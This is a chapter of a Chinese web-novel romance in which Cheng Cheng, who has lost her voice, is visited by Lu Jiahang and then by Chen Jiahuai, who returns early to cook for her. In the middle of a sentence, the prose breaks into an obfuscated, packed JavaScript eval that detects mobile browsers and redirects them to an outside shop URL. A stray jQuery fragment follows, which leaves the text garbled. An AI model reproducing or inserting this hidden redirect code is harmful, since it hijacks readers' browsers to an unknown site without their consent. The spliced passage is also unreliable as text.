得益于输液，一晚上过去程橙已经不再烧了，但是就是说不了话。
现在干什么都只能用手机打字交流。
花店郑蕴是不可能让程橙再去了，这祖宗一去花店一天的营业额都不够给医院的。
【橙橙~这回能让团子刷刷小视频了嘛~】
自从医院挂完水回来程橙直接昏睡了一天一夜，团子也就跟着消停了一天一夜。
这会儿实在按耐不住寂寞了，团子只能使出撒娇大法。
程橙靠在床头默默的在心里回复它，“可以，我给你搞自动连播你别烦我了。”
程橙把平板架在枕头旁边，给团子调好了自动连播，自己歪着头靠在靠垫上，有一搭没一搭地翻着朋友圈。
团子趴在她肩头，圆溜溜的眼睛盯着屏幕，时不时发出一声感叹：
【哎呀这个好看！】
【哇这个小姐姐跳舞好厉害！】
程橙懒得理它，手指在屏幕上有一搭没一搭地划着。
朋友圈没什么新鲜内容，赵念晴发了张肯德基的照片配文“想念某人”，下面边叙评论了一句“吃独食不长肉”，赵念晴回了个白眼的表情。
程橙正想评论，手机忽然弹出一条新消息。
陆嘉杭：“听说你生病了？好些了吗？”
程橙愣了一下，打字回了个“好多了”，发出去之后才想起来自己现在失声了，又补了一句：“就是暂时说不了话。”
对面回得很快：“那好好休息，多喝热水，别吃凉的。”
程橙回了句“谢谢”，没再继续聊。
团子从屏幕上方探出头，瞄了一眼聊天记录，小声说：【橙橙，他怎么知道你生病了？】
程橙的手指顿了一下。
对啊，她没告诉过陆嘉杭自己生病了，赵念晴也不认识他。
“可能是郑蕴女士那个万能的朋友圈吧。”程橙在心里叹了口气。
自从上次她发朋友圈忘记屏蔽郑蕴，被她妈抓住她把奶茶当水喝的证据之后，程橙就把郑蕴屏蔽了。
但她忘了，郑蕴发朋友圈她也看不见了。
程橙点进郑蕴的朋友圈，最新一条是昨晚发的：“闺女发烧挂水中，当妈的心疼坏了。”
配图是一张急诊室的照片，没有拍到她本人，但评论区已经炸了。
一群阿姨妈妈在下面刷“早日康复”“孩子生病最遭罪”之类的，程橙往下翻了翻，在最底下看到了陆嘉杭妈妈的评论：“别担心，孩子年轻恢复得快。”
陆嘉杭大概是从他妈妈那儿知道的。
程橙退出来，把手机扣在胸口，盯着天花板发呆。
团子见她情绪不高，也收敛了几分，乖乖趴在她枕头旁边，不再叽叽喳喳。
外面传来门锁转动的声音，程橙以为是郑蕴回来了，没在意。
脚步声由远及近，然后是轻轻的叩门声。
“橙橙？”
不是郑蕴。
程橙猛地坐起来，动作太快扯到了嗓子，程橙无声地龇了龇牙。
陆嘉杭推门进来的时候，看见的就是程橙捂着脖子一脸痛苦的表情。
“你没事吧？”陆嘉杭快步走到床边，伸手想扶她，又觉得不太合适，手停在半空僵了一下。
程橙摆摆手，指了指自己的喉咙，又指了指手机。
团子“嗖”地缩进了枕头底下，用意识跟程橙疯狂尖叫：【橙橙！他怎么来了！他怎么进来的！妈妈不是不在家吗！】
程橙也很想知道答案。
陆嘉杭似乎看出了她的疑惑，从口袋里掏出手机晃了晃：“我妈让我来的，她去花店买花碰见阿姨了说花店临时要接一批新到的货，让我帮忙照看你一会儿。”
程橙点了点头，在心里翻了个白眼。
郑蕴女士的心也太大了，就这么把一个小伙子放进自己女儿房间，也不怕出事。
不过转念一想，他们从小在福利院就认识，两家大人又熟，大概是真没把陆嘉杭当外人。
“嗓子疼吗？”陆嘉杭在书桌前的椅子上坐下，隔了一段不远不近的距离，“我妈说你发烧烧到三十八度七，后来还吐了。”
程橙拿起手机打字：“现在不烧了，就是嗓子哑了，说不了话。”
她把屏幕转过去给他看。
陆嘉杭看完点了点头：“那就好，你吃东西了吗？”
程橙摇头，刚睡醒不久，什么胃口都没有。
“我妈熬了粥让我带过来，我放在外面桌子上了，我去给你盛一碗。”
程橙愣了一下，在心里问团子：“他有点太自来熟了吧？”
团子从枕头底下探出半个脑袋，语气也不太确定：【可能吧……？】
团子的话还没说完，程橙已经听到客厅里传来碗筷轻轻碰撞的声音。
她掀开被子下了床，穿着毛绒拖鞋慢吞吞地挪到卧室门口往外张望。
陆嘉杭正站在餐桌前，打开保温袋，从里面端出一只白色的小汤锅，接着又从另一个袋子里拿出几个保鲜盒，一一打开，各种配粥的清单小菜，还有一盒切成小块的蒸红薯。
陆嘉杭端着粥碗转过身，看见程橙站在卧室门口，笑了一下：“你怎么出来了？回去躺着，我给你端进去。”
程橙摇了摇头，走到餐桌前坐下来，指了指椅子，意思是在这儿吃也行。
陆嘉杭没再坚持，把粥碗放到她面前，又摆好勺子和几碟小菜。
程橙低头搅了搅那碗粥，米粒已经煮得开了花，稠度刚好，比她妈熬的还稠一些。
她舀了一勺吹了吹，送进嘴里，温热的粥滑过喉咙，没有想象中那么疼。
“好吃吗？”陆嘉杭在她对面坐下。
程橙点了点头，舀了一口，想了想又拿起手机打了两个字：“谢谢。”
陆嘉杭看完笑了笑，把酱菜碟往她面前推了推：“尝尝这个，我妈自己腌的，不咸。”
程橙夹了一小块放进嘴里，脆生生的，确实不咸。
气氛安静得有些微妙。
团子飘到餐桌上方，趴在那盆绿萝后面，圆溜溜的眼睛在两个人之间转来转去，想说点什么又不敢。
程橙低头喝粥，心里盘算着陈珈淮初六才回来，还有好几天，这几天陆嘉杭该不会天天来吧？
正想着，外面忽然传来了电子锁输密码的声音。
程橙以为是郑蕴回来了，没太在意。
但仔细一听脚步声不太对，不是郑蕴女士高跟鞋那种清脆的“哒哒”声。
那人似乎在玄关停了一下，然后不紧不慢地穿过走廊，出现在餐厅门口。
陈珈淮穿着一件黑色的大衣，围巾都没来得及摘，手里还拎着一个保温袋，呼吸微微有些急促。
他站在餐厅门口，目光先在程橙身上停了一下，确认她安然无恙，然后慢慢移到她对面的陆嘉杭身上。
那张素
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620459|204835||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来不动声色的脸上没有任何表情。
但如果仔细观察就会注意到，他拎着袋子的手指微微收紧，骨节泛白。
餐厅里的空气顿时下降了一个大气压，连团子都缩在绿萝后面，默念着他们看不见它。
陆嘉杭率先站了起来，朝陈珈淮点了点头：“好久不见。”
陈珈淮没有接话。
他像在自己家一样，摘下围巾搭在玄关的衣架上，动作不紧不慢，每一个步骤都透着一种刻意的从容。
然后他走到程橙面前，伸手探了探她的额头。
“不烧了。”他说，声音很平，听不出什么情绪。
但是程橙感觉他好像不太开心，是因为计划中断提前回国了吗？
程橙用手机打了两个字，举起来给他看：“你回来了？”
陈珈淮看了一眼屏幕，又看了一眼桌上那碗吃了一半的粥和那几碟小菜。
“嗯，改签了。”他说。
程橙张了张嘴，想问他为什么改签，但嗓子发不出声音，只能低头继续打字。
陈珈淮没等她打完，已经转身看向了陆嘉杭。
他的目光平静得像一潭死水，脸上甚至带着点客气。
但程橙太了解他了，他越是这样，心里越是不高兴。
“谢谢你送粥过来。”陈珈淮开口，语气不咸不淡，“不过既然我回来了，就不麻烦你了。”
陆嘉杭笑了笑，那笑容里带着点说不清道不明的东西：“不麻烦，阿姨托我照看橙橙，我总不能推辞。”
程橙还是橙橙？
一时有些难以辨认。
“路上辛苦了，”陆嘉杭拎起桌上的保温袋，“那你陪她吧，我先回去了。”
他朝程橙挥了挥手：“好好休息，开学见。”
程橙举起手机晃了晃，屏幕上写着“谢谢”两个字。
陆嘉杭走了，门关上的声音在安静的屋子里格外清晰。
屋里只剩下程橙和陈珈淮两个人，还有躲在绿萝后面装死的团子。
陈珈淮在餐桌前坐下来，伸手把那几碟小菜往旁边推了推，动作不算粗暴，但程橙看得出那里面带着的情绪。
程橙拿起手机打字，举到他面前：“你不是说初六才回来吗？”
陈珈淮看了一眼屏幕，靠在椅背上，目光落在她脸上，语气淡淡的：“改签了。”
“为什么？”
“你说呢。”
这三个字堵得程橙无话可说。
她低头戳了戳碗里剩下的粥，忽然觉得有点心虚，虽然她根本不知道自己在心虚什么。
“粥别喝了。”陈珈淮站起来，走到厨房，打开冰箱翻了翻。
程橙跟过去，趴在厨房门口看着他拿出鸡蛋西红柿还有一把小葱，动作利落地洗菜切菜。
“我给你做新的。”他头也没回地说。
程橙靠在门框上，看着他在灶台前忙碌的背影，心里涌上一股说不清的感觉。
团子不知道什么时候从绿萝后面飘出来，趴在她肩头，用只有她们俩能听见的声音小声说了一句：
【橙橙，这是不是就是小视频里说的男人为了心爱的人洗手作羹汤啊~】
程橙没有回答，但她看着陈珈淮从锅里盛出那碗热腾腾的西红柿鸡蛋面时，眼睛确实有点酸。
她不喜欢吃粥，每次生病别的小孩是喝粥，她是吃汤面。
对陆嘉杭则是客气的表达。